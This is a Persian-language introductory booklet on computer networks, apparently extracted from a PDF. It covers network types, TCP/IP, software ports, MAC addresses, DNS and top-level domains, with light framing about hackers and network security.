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  چکیده

وارد دنیـاي صـنعتی شـده و    خـدمت گـزار،    –امروزه درشبکه هاي کـامپیوتري همتابـه همتـا و مشـتري     
افـراد سـودجو بـا اسـتفاده      در ایـن میـان  . به قسمت جدایی ناپذیر شرکت هاي بزرگ تبـدیل شـده انـد   

لـذا بایـد بـا نـرم     .از نرم افزارهاي جاسوسی و ایجاد اسب هـاي تـراوا وارد ایـن شـبکه هـا مـی شـوند       
 .افزارهاي ویژه مقابل این افراد ایستاد
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  مقدمه

 رایانهبه معنی سود بردن از یک روش سریع و هوشمندانه براي حل یک مشکل در  هکیا رخنه کردن

که رمزگشایی است نیز  (crack) در علوم مربوط به رایانه معنی هک گاه مساوي معنی کرك. باشد می
نیز به معنی  کركو . استاي  به معنی نفوذ به یک سیستم رایانه هکدر گفتگوهاي امروزي . شود عنوان می

باشد و  هک منحصر به رایانه نمی هگستردگی واژه.گویند رمزگشایی است و کراکر به فرد گشاینده رمز می
رود که به  نیز به کار می... و نقاشی، موسیقیهایی از قبیل  هاي گوناگون در زمینه توسط افراد با تخصص

 .باشد هاي هوشمندانه و خلاقانه فرد در آن زمینه می معنی دگرگونی

ــه اســتفاده آن در  هکــرو  هــک اســتفاده از واژه تاریخچــه ــاوري ماساچوســتب در ســال  موسســه فن
معنی اصـلی آن سـود بـردن از یـک روش سـریع و هوشـمندانه بـراي حـل مشـکلی          . گردد برمی 1960

 ـ. است بوده تکنیکی باشـد کـه    ، بـه معنـی کسـی مـی    هکـر تق شـده دیگـر آن   این واژه همراه با واژه مش
امنیـت شـبکه، بـه معنـاي حفاظـت فیزیکـی       .هـاي جدیـد را دارد   توانایی پیاده سـازي و سـاخت هـک   

نیـز از آن دفـاع کنـد و بـابهره     تنها نیست، بلکه یک مسئول امنیـت شـبکه بایـد بتوانـد از نظـر سـایبري       
گیري از مسائل بـه روز شـده ریاضـیات و منطـق، همچنـین نـرم افزارهـاي جاسوسـی و ضدجاسوسـی          
معتبر و به روز شـده و بهـره گیـري از مسـائل روز رمزنگـاري و امضـاهاي دیجیتـال، بتواننـد از شـبکه          

نظیـر مایکروسـافت و    به قدري ایـن مسـئله حیـاتی اسـت کـه شـرکت هـاي بزرگـی        . دفاع کامل کنند
و  CIAو دیگر سـازمان هـاي مهـم کـامپیوتري، حتـی سـازمان هـاي نظـامی مهمـی ماننـد            IMDاینتل و 

و ... یا حفاظت اطلاعـات ایـران و حتـی مراکـز تجـاري بـین المللـی ماننـد سـازمان بـورس جهـانی و           
یـز و نگهـداري   ، سـالانه میلیـون هـا دلار هزینـه تجه    محلـی و بـین المللـی    سـازمان هـاي مـالی   دیگر 

  .امنیت شبکه هاي کامپیوتري خود میکنند

پس اگر شما نیز میخواهیـد بـه عنـوان یـک مشـاور امنیتـی، یـک مسـئول امنیـت شـبکه، یـک مسـئول             
شبکه وحتـی یـک کاربرخـانگی پـا بـه عرصـه سـایبري و دنیـاي پـراز خطـر و هیجـان صـفر و یـک              

 ـ   پس علـم خـود را در ایـن راسـتا افـزایش دهیـد       بگذارید بهتر است ابتدا با مسائل امنیتی آشـنا شـده، س
  .و با به روز رسانی مداوم علم خود، قدرت سایبري خود را به جهانیان معرفی نمایید

  ومن االله التوفیق

  حامدپورحیدري
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  مقدمه اي بر شبکه

گروهی از رایانه ها و دستگاه هایی مانند چاپگر است که با استفاده از یک رسانه ي  1به بیان ساده شبکه
شبکه می تواند به کوچکی دو رایانه ي به هم پیوند شده توسط یک کابل . انتقال به یکدیگر متصل شده اند

ط تلفن و چند سانتی و یا بزرگی صدها یارانه درسراسر جهان باشد که به کمک ترکیبی از کابل ها، خطو
  .ماهواره به یکدیگر پیوند داده شده اند

افزون بر رایانه هاي شخصی؛ شبکه می تواند رایانه هاي بزرگ، چاپگرها، رسام ها، ماشین هاي دورنگار و 
و  سامانه هاي تلفنی را با استفاده از سیم هاي مسی، کابل فیبر نوري، پیوندهاي ماهواره اي، امواج دریایی

شبکه هاي کامپیوتري از دیدگاه اجتماعی یک پدیده فرهنگی و از دید . کدیگر پیوند دهدمادون قرمز به ی
امروزه پیشرفت و توسعه مرزهاي دانش به گسترش . مهندسی کامپیوتر یک تخصص و علم به شمار می آید

؛ گرد آوري، سازمان دهی و 2هدف اصلی در فناوري اطلاعات. شبکه هاي کامپیوتري وابسته شده است
رآوري داده ها و دانش پراکنده در سطح دنیا است، به گونه اي که بتوان از این دانش گرد آوري شده، ف

بالطبع مؤثرترین ابزار براي جمع آوري، سازمان دهی و پردازش داده . معرفت و دانش جدیدي تولید کرد
  .هاي پراکنده، شبکه هاي کامپیوتري است

بلکه چیزي که در اینترنت وجود دارد یک مفهوم عام دانایی و تنها دانش در اینترنت عرضه نمی شود؛ 
آگاهی است، به عنوان مثال آگاهی از نرخ سهام، یا نتیجه یک مسابقه، یا اخبار حوادث را شاید نتوان در 

  .حوزه علم و دانش طبقه بندي کرد ولی نوعاً آگاهی محسوب می شود

 3»اینترنت«. داشت تا سیستم شبکه هاي خود را متحول کندتوسعه وب بر روي اینترنت سازمان ها را بر آن 
  .زاده همین تفکرات بود

  

 

  

                                                             
1 Network 
2 IT 
3 Hyper Link 
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  :کاربرد شبکه هاي کامپیوتري) 1- 1

  :اشتراك منابع) 1- 1-1

اشتراك منابع به معناي فراهم آوردن و به اشتراك گذاشتن سخت افزار، نرم افزار و داده هاي مورد نیاز 
به طور کلی هر موجودیت . بتوانند به راحتی از این منابع استفاده کنند شبکه است، به گونه اي که کاربران

 1داده، داراي یک هویت مثل یک فایل یا رکورد اطلاعاتی، منبع شامل سخت افزار، نرم افزار، یا یک آیتم
  .مهم ترین کاربرد شبکه هاي کامپیوتري به اشتراك گذاري منابع است. گفته می شود

  :هاي جغرافیایی درتبادل داده هاحذف محدودیت ) 2- 1-1

با استفاده از شبکه هاي کامپیوتري شما . دهکده جهانی اینترنت، فواصل جغرافیایی را بی معنا کرده است
می توانید در کسري از ثانیه به منابع اطلاعاتی موجود در فواصل هزاران کیلومتري خود دسترسی داشته 

  .تبادل پیام و اطلاعات بپردازید باشید و یا با کاربران حاضر در شبکه به

  :کاهش هزینه ها) 3- 1-1

به کار گیري شبکه هاي کامپیوتري نه تنها در وقت صرفه جویی می کند، بلکه هزینه ها را نیز در تمام 
امروزه استفاده از پست الکترونیکی گذشته از سرعت بسیار زیاد، عملاً رایگان . جوانب کاهش می دهد

استفاده مجاز از . پول و اعتبار، خرید و فروش الکترونیکی، هزینه اي درحد صفر دارداست؛ یا جابه جایی 
  .نتایج تحقیقات دیگران نیز هزینه تکرار آن تجارب را حذف خواهد کرد

  :سیستم ها 2بالا رفتن قابلیت اعتماد) 4- 1-1

شود، دیگر سیستم هاي شبکه هاي کامپیوتري به گونه اي طراحی شده اند که وقتی یکی از آن ها مختل 
  .شبکه به فعالیت خود ادامه می دهند تا سیستم جدیدي جایگزین سیستم مخروبه گردد

  

  

                                                             
1 Resource 
2 Reliabity 
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  :افزایش کارایی سیستم) 5- 1-1

بدین نحو که توزیع وظایف سازمانی یک . بهره گیري از شبکه می تواند کارایی سیستم را افزایش دهد
، ضمن بالابردن )با حفظ استقلال آن ماشین(ت در شبکهمجموعه همانند بانک ها، به ماشین هاي متفاو

قابلیت اعتماد، کارایی سیستم را از لحاظ سرعت دسترسی به اطلاعات، سرعت پردازش و ذخیره و بازیابی 
  .اطلاعات افزایش خواهد داد

  انواع شبکه) 2- 1

 :1شبکه همتا به همتا) 1- 1-2

آن هر یارانه به صورت مستقیم به رایانه دیگر متصل می ساده ترین شبکه، شبکه همتا به همتا است که در 
به صورت پیش فرض در شبکه همتا به همتا هیچ رایانه اي نسبت به رایانه دیگر اختیار و قدرت . شود

مزایا و .بیشتري ندارد ولی با این وجود هر سیستم می تواند تنها برخی از منابعش را به اشتراك بگذارد
  :ح زیر استمعایب این شبکه به شر

  .داراي پیکر بندي ساده است) الف

  .راه اندازي و نگهداري آن از دیگر انواع شبکهه ها ارزان تر است) ب

در صورت گسترش شبکه، تغییر یا اضافه کردن عناصر آن . از انعطاف پذیري کمتري برخوردار است) ج
  .مشکل خواهد بود

اده ها و منابع به اشتراك گذاشته شده به راحتی در در این گونه شبکه ها، د. داراي امنیت کمی است) د
  .دسترس تمام استفاده کنندگان شبکه قرار می گیرد

  .در این گونه شبکه ها نمی توان بیشتر از چند رایانه را به هم پیوند داد) هـ

                                                             
1 Peer to peer Network 
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  .که یک شبکه همتا به همتا را نشان می دهد 1-1شکل                     

  : 1خدمت گزار –شبکه مشتري ) 2- 1-2

 است، که مدیریت برقراري  2استفاده از یک رایانه مرکزي به نام خدمت گزار دیگر روش طراحی شبکه،
شناخته می شود؛ را ساده و آسان  3ارتباط و اشتراك منابع بین رایانه هاي عضو شبکه، که به عنوان مشتري

براي نمونه، اگر یک  .نیز می گویند 4مشتري معمولا مانند رایانه شخصی است و به آن پایانه کاري. می کند
مراجعه کننده گواهی لازم براي خروج کتاب از کتابخانه را نداشته باشد، کتابدار از خروج کتاب توسط 

ترتیب درشبکه نیز، خدمت گزار تنها به مشتریانی امکان دسترسی آن فرد جلوگیري خواهد کرد، وبه همین 
  .به منابع مشترك را می دهد که از مجوز لازم برخوردار باشند

. نیاز دارد 5براي این که یک رایانه بتواند به عنوان خدمت گذار عمل کند به اجراي یک سیستم عامل شبکه
  :است که وظایف زیر را بر عهده داردسیستم عامل شبکه گونه ي ویژه اي از سیستم عامل 

  مدیریت داده ها و منابع براي مشتریان) الف

  اطمینان از دسترسی کاربران مجاز به شبکه) ب

  کنترل انواع فایل هایی که کاربر می تواند باز کند و بخواند) ج

  اعمال قوانین ارتباطی بین رایانه ها) د

  تعیین زمان و مکان دسترسی کاربران شبکه) هـ

                                                             
1 Client - Server 
2Server 
3 Client 
4 Work Station 
5 Network Operating System (NOS) 
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  تامین نرم افزار هاي مورد نیاز مشتریان) و

اشاره کرد و سیستم  2008و  2003از جمله سیستم عامل هاي شبکه را می توان به یونیکس، ویندوز سرور
، سیستم عامل هایی هستند که روي رایانه هاي مشتري نصب می شوند و 7ویستا و ، XPعامل هاي ویندوز 

اگر  .به سیستم عامل هاي شبکه در مدیریت منابع برخوردار می باشنداز قابلیت و توانایی کمتري نسبت 
چه شبکه ي مشتري خدمت گزار، در طراحی و نگهداري نسبت به شبکه ي همتا به همتا پیچیدگی بیشتري 

  .دارد؛ ولی مزایایی دارد که در ادامه به آنها اشاره شده است

  

  :خدمت گزار –مزایاي شبکه هاي مشتري 

  .کاربري و گذرواژه تمام کاربران شبکه به صورت متمرکز قابل مدیریت استحساب ) الف

را بـراي  ...) ماننـد چـاپگر و فایـل و   (به صورت متمرکز می توان دسترسـی بـه چنـد منبـع مشـترك     ) ب
  .یک یا چندین کاربر تعریف کرد

  .مشکلات شبکه به صورت متمرکز قابل مشاهده، پیگري و رفع می باشد) ج

ي خدمت گزار، براي پاسـخ بـه نیازهـاي رایانـه هـاي مشـتري در کمتـرین زمـان ممکـن و          رایانه ها) د
  .انجام پردازش هاي سنگین طراحی شده اند

به خاطر داشتن قـدرت بـالاي پـردازش، و فضـاي ذخیـره سـازي مناسـب، رایانـه هـاي خـدمت           ) هـ 
  .گزار می توانند در آن واحد به چندین رایانه مشتري متصل شوند

خـدمت گـزار؛ نسـبت بـه شـبکه هـاي همتـا بـه همتـا داراي           –به موارد فوق، شـبکه مشـتري    با توجه
 .قدرت و امنیت بالاتر، انعطاف پذیري بیشتر و مدیریت ساده تر می باشد
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  .خدمت گزار را نشان می دهد –که یک شبکه مشتري  2- 1شکل

  TCP / IPپروتکل هاي ) 3- 1

، وظیفه هدایت و مسیر یابی بسته هاي اطلاعاتی را از یک ماشین میزبان  IPل به اختصار باید گفت، پروتک
اتفاق بیافتد،  IPبه ماشینی دیگر بر عهده دارد و مشکلاتی که در طی مسیر ممکن است براي یک بسته ي 

حتما تا کنون دریافته اید که بیشتر شبکه هاي پیشرفته، مبتنی بر پروتکل .توسط این لایه قابل حل نیست
TCP / IP تاجایی که نه تنها اتصالات اینترنتی؛ بلکه ارتباطات خصوصی براي انتقال داده نیز بر . می باشند

  .این اساس استوار می باشند

در بین . تخصیص داده می شود IPبه هرگره یک آدرس  TCP / IPپیش از پرداختن به طراحی شبکه ي 
البته . کاستی هایی نیز وجود داشت که براي رفع آن ها تکنولوژي لایه انتقال روي کار آمد IP تکنولوژي

، ذات کانال هاي انتقال و مشکلات فیزیکی در زیرساخت شبکه ارتباطی است و  IPمنشأ کاستی هاي لایه 
ین کاستی عمده ا. براي حفظ سادگی و سرعت عمداً خود را درگیر این کاستی ها نکرده است IPپروتکل 

  :ها عبارت است از

تضمینی وجود ندارد؛ وقتی بسته اي براي یک ماشین مقصد ارسال می شود، آن ماشین آماده دریافت ) الف
  .آن بسته باشد و بتواند آن را دریافت نماید

تضمینی وجود ندارد وقتی چند بسته متوالی براي یک ماشین ارسال می شود، به همان ترتیب که بر ) ب
  .که ارسال شده اند، به مقصد برسدروي شب
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تضمینی وجود ندارد که وقتی بسته اي براي یک مقصد ارسال می شود، به دلیل دیر رسیدن مجدداً ) ج
قادر  IPلایه  .1ارسال نشود و در چنین حالتی ممکن است بسته به اشتباه دوبار در مقصد دریافت شود

نیست تمایزي بین دو بسته مثل هم، که یکی از آن ها زائد است قائل شود و لاجرم هردو را تحویل ماشین 
  .خواهد داد

  : IPبراي جبران کاستی هاي لایه  TCPراهکارهاي پروتکل ) 1- 3- 1

بررسی می انجام می دهد،  IPبراي جبران کاستی هاي لایه  TCPدر این بخش مفهوم عملیاتی که پروتکل 
، همانگونه که گفتیم؛ عدم تضمین در آماده بودن و توانایی دریافت داده ها  IPاولین کاستی در لایه .شود

راهکارهاي ساده و کار آمدي براي این شکل اتخاذ شده  TCPدر پروتکل . توسط ماشین مقصد، عنوان شد
  .»قبل از ارسال هرگونه دادهبرقراري یک ارتباط و اقدام به هماهنگی بین مبدإ و مقصد، «: است

برروي یک ماشین  B، تمایل دارد براي پروسه A، فرض کنید پروسه TCPبراي تشریح این رویکرد در 
   :مشخص داده هایی را ارسال کند؛ قبل از اقدام به ارسال داده به صورت زیر عمل می کند

می فرستد و  Bخاص را به عنوان درخواست براي برقراري ارتباط به آدرس ماشین  یک بسته A) الف
  ).مشهور است SYNبه نام بسته  TCPاین بسته در پروتکل (منتظر می ماند

اعلام  Aدرخواست ارتباط را دریافت کرده و بر حسب شرایط، آمادگی یا عدم آمادگی خود را به  B) ب
  ).د خارجی نداشته باشد و طبعاً هیچ پاسخی بر نمی گردداصلا وجو Bممکن است (می نماید 

دریافت نماید،  Bدر یک مهلت زمانی مشخص، پاسخ مثبتی مبنی بر آماده بودن  Aدرصورتی که )ج
  .میتواند به ارسال داده ها اقدام کند

  2انواع پورت هاي نرم افزاري) 4- 1

  .باهم تبادل می شوندمحلی که داده ها : پورت را این گونه می توان تعریف کرد

 USBمثلا . در مبحث کامپیوتر با پورت هاي سخت افزاري و نرم افزاري زیادي سروکار دارید

پورت هاي نرم افزاري زیادي نیز وجود دارد که هرکدام با عددد . یک پورت سخت افزاري است
                                                             
1 Duplication Problem 
2 Port 
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می  Telnet مختص به 23است و یا پورت  FTPمختص به  21مثلا پورت. مشخصی نشان داده می شود
  .باشد

مثلا پورت . پورت هایی که بر روي سیستم شما باز هستند؛ توسط نرم افزارهاي خاصی مدیریت می شوند
پورت ها در مبحث هک و امنیت کاربرد بسیار زیادي دارند که باید به این . براي ارسال ایمیل می باشد 25

 1می باشد Telnetمثلا تصور کنید پورتی که روي سیستم شما که مخصوص . موضوع دقت کامل داشت
شما به راحتی دست  ADSLحالا هکر ها با استفاده از این پورت می توانند به اطلاعات اکانت . باز باشد

  .پیداکنند یا حتی میتوانند کل مدم شما را تحت اختیار بگیرند

حال سوالی که مطرح می شود این است که چگونه می توان با استفاده از پورت ها، به سرویس هاي 
  ف دست پیدا کرد؟مختل

هر پورت زبان خاص خودش را دارد که ما با استفاده از دستوراتی که براي هر پورت درنظر گرفته شده 
 , Linux , Mac(در بعضی مواقع این دستورات درسیستم عامل هاي مختلف. است صحبت می کنیم

Windows ,…( باهم تفاوت هایی دارند اما اساس کار آن ها یکسان است.  

باید ) یا به عبارت دیگر سرویس گرفتن از وب آن( عنوان مثال، براي دیدن صفحات وب یک وبسایت به 
یک ارتباط از روي  2است پس ما باید با سرور وب 80شماره این پورت . پورت مربوط به آن را بدانیم

رحال حاضر فرض کنیم که ارتباط ما د.برقرار کرده و شروع به صحبت کردن با این پورت شویم80پورت 
به عنوان مثال به . برقرار شده است، پس به صحبت با این پورت می پردازیم 80با پورت  CMDاز طریق 

  :را به صورت زیر می دهیم Home Pageوب سرور درخواست صفحه اصلی یا همان 

GET / index . html http / 1.0 

سایت را مرور کنیم هم وقت زیادي تلف حتما متوجه شده اید که اگر بخواهیم به روش بالا صفحات یک 
صفحه؛ نمایش داده می  Htmlکدهاي  زیرا تنها. می شود و هم این که نتیجه کار سودي براي ما ندارد

  .شوند و هیچ گونه شکل گرافیکی در خروجی وجود ندارد

یعنی . ندبراي رفع این مشکل نرم افزارهایی به وجود آمده است که پورت ها توسط آن ها هدایت می شو
در واقع این نرم افزارها رابط بین . کاربر هیچ گونه دستوري را به طور مستقیم روي پورت ارسال نمی کند

                                                             
23همان پورت 1  
2 Web Server 
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کاربر و پورت هستند و با دریافت و درخواست از کاربر آن را به صورت قابل فهم براي پورت ترجمه می 
  .کنند

  :حال مجدد مثال قبل را با نرم افزار رابط توضیح می دهیم

را باز کنید و آدرس مورد  IE1حال در ویندوز نرم افزار .شما می خواستید یک صفحه اینترنتی را باز کنید
ارسال و پس  80ابتدا آدرس را به پورت IEنظر را روي آدرس بار بنویسید، اکنون متوجه خواهید شد که 

  .از دریافت پاسخ اقدام به بازکردن صفحه خواهد کرد

  باز و بسته مفهوم پورت هاي) 5- 1

به پورتی گفته می شود که بتوان  با آن ارتباط برقرار کرد و از روي آن اطلاعاتی گرفته و یا : پورت باز
  .برروي آن داده اي ارسال کنیم

به پورتی گفته می شود که نتوانیم با آن ارتباط برقرار کنیم و درنتیجه از ارسال و دریافت داده : پورت بسته
براي این که مفاهیم بالا را بهتر متوجه شویم، مثال زیر را که به بیان ساده شده، ارائه  .نیمبر روي آن باز بما

 :شده است مطالعه می نماییم

همان طور که گفته شده براي استفاده از سرویس هاي مختلف در اینترنت از پورت هاي مختلف که هریک 
اگر بخواهم . دارم Pop3 Mailboxبه عنوان مثال من یک . مخصوص یک سرویس هستند استفاده می شود

  .متصل شوم  Mail Serverباید به ایمیل هایم را بخوانم 

پس تا یک ارتباط . استفاده کنیم 110من هستند، باید از پورت  Pop Boxر براي مطالعه ایمیل هایی که د
همان طور که گفته . برقرار نکنیم نمی توانیم ایمیل هاي موجود در آن را بخوانیم Mail server Port110با 

 شد، نرم افزار هاي زیادي براي استفاده از این کار موجود است، نرم افزارهایی مانند گوگل کروم یا
که از آن آدرس  Mail Server110پس قرار بر این شد که من یک درخواست روي پورت ... . فایرفاکس یا

میدهم و بعد  Mail Serverخوب، من یک درخواست به . ایمیل دارم بدهم تا بتوانم ایمیل هایم را بخوانم
  .ایمیل ها رامی خوانم Mail Serverاز برقراري ارتباط به 

                                                             
1 Internet Explorer 
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 110این می تواند، معنایش این باشد که؛ پورت درخواست دادم و سرور قبول نکرد چه؟حال اگر من 
 110سرور براي پاسخگویی آمادگی ندارد و این یعنی نمی توان ایمیل هاي خود را خواند، زیرا پورت 

انگی از مثال بالا می توان نتیجه گرفت که اگر بخواهیم از یک سرور و یا حتی یک کامپیوتر خ. بسته است
اطلاعات بگیریم و یا روي آن اطلاعات بفرستیم باید پورت مربوط به درخواست ما باز باشد و درخواست 

  .ما پاسخ دهد

  آشنایی با پورت هاي مختلف) 6- 1

براي این که با پورت هاي مختلف آشنا شده و ذهنیتی از یک پورت لیست داشته باشیم، تعدادي از مهم 
 :رسی می کنیمترین پورت ها را در زیر بر

  معرفی برخی از پورت هاي پر کاربرد 1-1جدول 

  کلمه اختصاري  شماره پورت  نام پورت

Echo 7  Echo  

Daytime  13  Day Time  

File Transfer  21  FTP  

Telnet  23  Telnet  

Simple Mail Transfer  25  Smtp  

Trivial File Transfer  69  TFT  

Finger  79  Finger  

Word Wide Web Http 80 Http 

Post Office Protecol – Server 110 POP3 

  آدرس سخت افزاري) 7- 1

وقتی بخواهید به عنوان یک نفوذگر وارد یک سیستم شوید، باید با آن سیستم یک رابطه ي شبکه ایجاد 
در این صورت با اصطلاحی به نام مک آدرس یا همان آدرس سخت افزاري برخورد خواهید کرد، . کنید
  .در این مبحث مقدمه اي از آن را براي شما بازگو می کنمکه 

www.Prozhe.com



 
17 

 

یا آدرس لایه پیوند داده و گاهی نیز آدرس سخت افزاري یاد می شود، مخفف کلمه کنترل  Macآدرس
این زیرلایه، آدرس . می باشد، وظیفه مدیریت دسترسی به محیط فیزیکی را برعهده دارد 1دستی رسانه

آدرس فیزیکی عدد ثابتی است که به کارت شبکه . فیزیکی رایانه ي مقصد را به قاب داده اضافه می کند
برد این عدد در کاخانه ي تولید کننده اختصاصی  و در حافظه روي . ي دستگاه اختصاص داده می شود

  .کارت شبکه ذخیره می شود

روي برد کارت  Macآدرس . به قاب داده اضافه می شود Macبه این خاطر که آدرس فیزیکی در زیر لایه 
البته برنامه . شبکه حک شده است و به راحتی با نگاه کردن به آن می توان این آدرس را مشاهده نمود

  .ن آدرس را در اختیار شما قرار دادهایی نیز وجود دارند که بشود به وسیله آن ها ای

شناسه بلوك دنباله ي . می باشد 3و شناسه ي دستگاه 2داراي دو بخش شناسه ي بلوك Macآدرس 
کاراکتري یکتایی است که به هر تولیدکننده اختصاص داده می شود و مدیریت تخصیص آن برعهده 6

IEEE 3براي نمونه کارت هاي شبکه اترنت تولید شده توسط شرکت . می باشدCom  6داراي دنباله 
می باشد و کارت هاي شبکه اترنت تولید شده توسط شرکت اینتل با دنباله " 00608C "کاراکتري

  .آغاز می شود"  00AA00" کاراکتري 6

شبکه است که به شناسه کاراکتر باقی مانده حاوي اطلاعاتی در خصوص مدل و تاریخ ساخت کارت  6
براي شناسایی سازنده کارت شبکه، کافی است با داشتن شناسه بلوك کارت، به . دستگاه معروف می باشد
  :آدرس زیر مراجعه نمایید

http://Standards.ieee.org/regauth/oui/index.shtml 

                   

                                       قسمت زرد رنگ محل نمایش مک آدرس است                     RJ – 45کارت شبکه با پورت  نمونه اي از 3- 1شکل   

                                                             
1 Media Access Control 
2 Block ID 
3 Device ID 
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  نمونه اي از کارت شبکه بیسیم 4-1شکل        

1مبانی سرویس دهنده نام هاي حوزه) 8- 1
 

مطالعه شد و لیکن آدرس هایی که در دنیاي واقعی به عنوان آدرس هاي  IPدر مباحث گذشته آدرس هاي 
 :اینترنتی دیده می شوند نمادي متفاوت و شبیه به مثال هاي زیر دارد

www.bmi.ir    یا مثلاwww.iaud.ac.ir .  

 آنچه مسلم است از آدرس هایی با قالب و ساختار بالا فقط به خاطر راحتی کاربرد و سادگی به خاطر
قطعاً در هنگام برقراري یک  راحتی کاربرد و سادگی به خاطر سپردن و حدس زدن استفاده شده است و

 32و مبادله داده، این آدرس هاي نمادین هیچ ارزشی ندارند و بایست به معادل عددي؛ یعنی  TCPاتصال 
  .گفته می شود» نام حوزه«آدرس هاي نمادین ترجمه شوند، به این IPبیتی آدرس

خاص در اینترنت است،  از یک ماشین IPبه خاطر داشته باشید که آدرس هاي نمادین فوق معادل آدرس 
یعنی آدرس هاي زیر نیز در دنیاي اینترنت معتبرند ولی به دلیل دشوار بودن به خاطر سپاري و به 

  .کارگیري، به ندرت استفاده می شوند

http://131.11.70.14            alavi@203.41.3.81 

DNS  یا سیستم نام گزاري حوزه، روشی سلسله مراتبی است که بانک اطلاعاتی مربوط به نام هایی نمادین
آن ها را روي کل شبکه اینترنت توزیع کرده است و هر ایستگاه می تواند در یک روال منظم و  IPو معادل 

این سیستم درسال . معادل ایستگاه مورد نظرش را در هر نقطه از شبکه پیداکند IPسلسله مراتبی، آدرس 
  .معرفی شد 1984

ي هستند که هیچ تمرکزي روي ، کل آدرس هاي اینترنت درون بانک هاي اطلاعاتی توزیع شده ا DNS در
 IPهمانگونه که اشاره شد بانک هاي اطلاعاتی که اسامی اینترنت را با معادل . نقطه خاصی از شبکه ندارند

                                                             
1 DNS 
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حال باید دید اسامی اینترنت . آن ها درخود دارد متمرکز نیست بلکه روي کل اینترنت توزیع شده است
روش جست و جو روي یک بانک اطلاعاتی توزیع شده را چگونه سازمان دهی می شود تا نهایتاً بتوان 

  .توضیح داد

  

  :اسامی نمادین زیر را درنظر بگیرید

;      fo@president.irin;        www.sharif.edu;        www.president.ir
mohammad@hware.cs.mit.edu 

بدیهی است که نام هاي حوزه همانند مثال هاي بالا، بدون مسمی و دلیل انتخاب نمی شوند، بلکه 
به گونه  .خود دارند اطلاعاتی ارزشمند براي جست وجو دربانک اطلاعاتی توزیع شده نام هاي نمادین در

از هم تفکیک شده، تشکیل می » .«اي که مشهود است نام یک حوزه از چند بخش مجزا که با علامت 
  .شود

نام دارد به یک قسمت از بانک اطلاعاتی توزیع شده اشاره می کند؛ به  1هرکدام از این بخش ها که سطح
به چندین منطقه عمومی و فراجغرافیایی و نام هاي حوزه . محدود تر شدن فضاي جست و جو می انجامد

حوزه بدین معنا است که شما با یک نگاه . حدود صد و اندي منطقه ي کشوري تقسیم بندي شده است
یعنی .ساده به انتهاي آدرس نمادین، می توانید ماهیت آن نام و سرویس دهنده متناظر با آن را حدس بزنید

معادل نیز متفاوت  IPمنطقه جست و جو براي یافتن آدرس  اگر انتهاي نام هاي حوزه متفاوت باشد،
  :هستند عبارتند از TLD2حرفی و مشهور به 3مهم ترین حوزه هاي عمومی که بیشتر آن ها سه. خواهد بود

.com  :3.صاحب این نام جزء مؤسسات اقتصادي و تجاري به شمار می آید 

.edu  : 4.به شمار می آیدصاحب این نام جزء مؤسسات علمی یا دانشگاهی 

.gov  :اختصاص داده شده ) عموماً آمریکا(این مجموعه از نام ها، یکی از سازمان هاي وابسته به دولت
 5.است
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2 Top Level Domain 
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4 Educational 
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.int  :صاحب این نام یکی از سازمان هاي بین المللی مانند یونسکو و یونیسف و صلیب سرخ و ...
 1.اختصاص داده می شود

.mil  : 2.سازمان هاي نظامی دنیا به شمار می آیدصاحب این نام یکی از  

.net  :3.صاحب این نام جزء یکی از ارائه کنندگان خدمات شبکه به حساب می آید  

.org  :4.صاحب این نام جزء یکی از سازمان هاي عامل المنفعه و غیر انتفاعی محسوب می شود  

یکی از پسوند هاي فوق را دیدید می توانید سریعاً به ماهیت آن  بنا بر این اگر در انتهاي نام یک آدرس،
نام هاي حوزه بسیارزیادي در اینترنت تعریف شده اند که هیچ یک . آدرس و منطقه جست و جو پی ببرید

معمولا در انتهاي این آدرس ها یک رشته دوحرفی . از پسوند هاي سه حرفی در انتهاي آن ها نمی بینید
این رشته دو حرفی مخفف نام کشوري است که آن آدرس و ماشین صاحب . قرار گرفته است nl.یا  Ir.مثل

آمریکا ویا  us.ژاپن ویا  jp.هلند ویا  nl.کاندا و یا   .caایران و یا  ir.: آن نام، در آن کشور واقع است؛ مثل
.ua امارات متحده عربی.  

 www.iaud.ac.irبراي مثال به آدرس . هر حوزه می تواند به زیر مجموعه هاي کوچکتري تقسیم شود
به سادگی می توان فهمید که کشور ایران، هویت دانشگاهی، شناسه دانشگاهی نیز دانشگاه . توجه کنید

  .آزاد اسلامی دزفول می باشد

 5نام دامنه) 9- 1

آن ها  IPیا به عبارتی گروهی از رایانه هاي یک سازمان که بخشی از آدرس ( هر میزبان عضوي از دامنه
معمولاً نام دامنه با نام شرکت یا بخشی از . هر دامنه با نام دامنه شناسایی می شود. است) مشترك می باشد

و  IBM.comاز نام دامنه  IBMبراي نمونه شرکت . سازمانی که در آن جا فعال باشد، همخوان است
غالباً شبکه کاربران حرفه اي زمانی که به نام . استفاده می کند IOC.govکتابخانه کنگره ایالات آمریکا از 

میزبان ماشینی اشاره می کنند، درحقیقت منظورشان نام میزبان محلی نام دامنه، و به عبارتی نام جامع 
  .الشرایط میزبان می باشد

                                                             
1 International 
2 Military 
3 Network Service Provide 
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. ک سري کاراکتر رشته اي یا برچسب که توسط نقطه از هم جدا می شوند، تشکیل می شودنام دامنه از ی
  دامنه  Comمیتوان گفت  www.google.comدر دامنه . به سطحی در دامنه به نام سلسله مراتب اشاره دارد

سطح دوم می تواند هر دامنه . ح سوم استدامنه سط wwwدامنه سطح دوم و  googleو  TLD1سطح اول
، یا  maps.google.com، یا  news.google.comبراي نمونه به . شامل چندین دامنه سطح سوم نیز باشد

mail.google.com نام دامنه ها باید توسط یک شرکت مدیریت کننده نام هاي اینترنتی  .می توان اشاره کرد
که  TLDفهرست برخی از دامنه هاي سطح اول  2-1در جدول . می باشد، تایید شود ICANNکه نماینده 

  . براي انواع سازمان ها در نظر گرفته شده است، نمایش داده شده است ICANNتوسط 

و ما بقی به تدریج درسالهاي  1980هشت دامنه نخست سطح اول فهرست شده در جدول، در اواسط دهه
دامنه سطح اول دیگر کشور ها رانیز ثبت و به  240افزون بر این فهرست،  ICANN. بعد ثبت شده اند

  .کاراکتر می باشد 63جهان پذیرفت که حداکثر طول نام دامنه و میزبان
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  دامنه هاي سطح اول 2-1جدول

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  نوع سازمان  پسوند دامنه

ARPA  دامنهLOOK UP)کاربرد اینترنتی ویژه(  

COM اقتصادي  

EDU آموزشی  

GOV دولتی  

ORG مانند آژانس غیر انتفاعی( غیر اقتصادي(  

NET مانند (شبکهISP(  

INT سازمان بین المللی پیمانی  

MIL سازمان نظامی آمریکا  

BIZ  تجاري  

INFO استفاده بدون محدودیت  

AERO صنعت ترابري هوایی  

COOP تعاونی  

MUSEUM موزه  

NAME  شخصی  

